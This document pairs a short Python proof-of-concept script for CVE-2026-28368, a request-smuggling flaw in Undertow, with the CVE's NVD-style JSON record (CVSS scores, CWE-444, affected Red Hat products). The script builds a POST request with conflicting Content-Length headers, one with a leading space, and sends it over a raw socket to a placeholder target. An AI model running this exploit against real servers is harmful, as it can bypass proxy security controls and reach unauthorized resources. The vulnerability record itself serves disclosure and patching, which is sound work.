CVE-2026-28368

import socket # Target configuration host = "target.example.com" port = 80 def send_smuggling_request(): """ PoC for HTTP Request Smuggling via Header Parsing Discrepancy. This attempts to send a request that the proxy interprets differently than the Undertow backend, potentially smuggling the second request. """ # Constructing a request with a malformed header name # The space before 'Content-Length' might be handled differently # by the proxy vs Undertow. payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Length: 6\r\n" " Content-Length: 4\r\n" # Malformed header: leading space "\r\n" "123456" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) # Receive response to observe behavior response = s.recv(4096) print("Response received:") print(response.decode()) s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_smuggling_request()

{"cve": {"id": "CVE-2026-28368", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:27.993", "lastModified": "2026-03-31T18:20:30.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Undertow. This vulnerability allows a remote attacker to construct specially crafted requests where header names are parsed differently by Undertow compared to upstream proxies. This discrepancy in header interpretation can be exploited to launch request smuggling attacks, potentially bypassing security controls and accessing unauthorized resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_-_hawtio:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "19B253BB-F6CE-400B-87EF-1DF1AFFC2445"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_apache_camel_for_spring_boot:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "06A6AC25-2E2D-4359-A806-CC0355513A20"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:data_grid:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "7095200A-4DAC-4433-99E8-86CA88E1E4D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:fuse:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AAD91726-93D9-4230-BF69-6A79B58E09E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:7.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "72A54BDA-311C-413B-8E4D-388AD65A170A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0D8BC03A-4198-4488-946B-3F6B43962942"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:jboss_enterprise_application_platform_expansion_pack:-:*:*:*:*:*:*:*", "matchCriteriaId": "0A24CBFB-4900-47A5-88D2-A44C929603DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:process_automation:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "20A6B40D-F991-4712-8E30-5FE008505CB7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:single_sign-on:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "9EFEC7CA-8DDA-48A6-A7B6-1F1D14792890"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:undertow:-:*:*:*:*:*:*:*", "matchCriteriaId": "8190B427-8350-43AE-8F54-6A40B701C95E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-28368", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443261", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}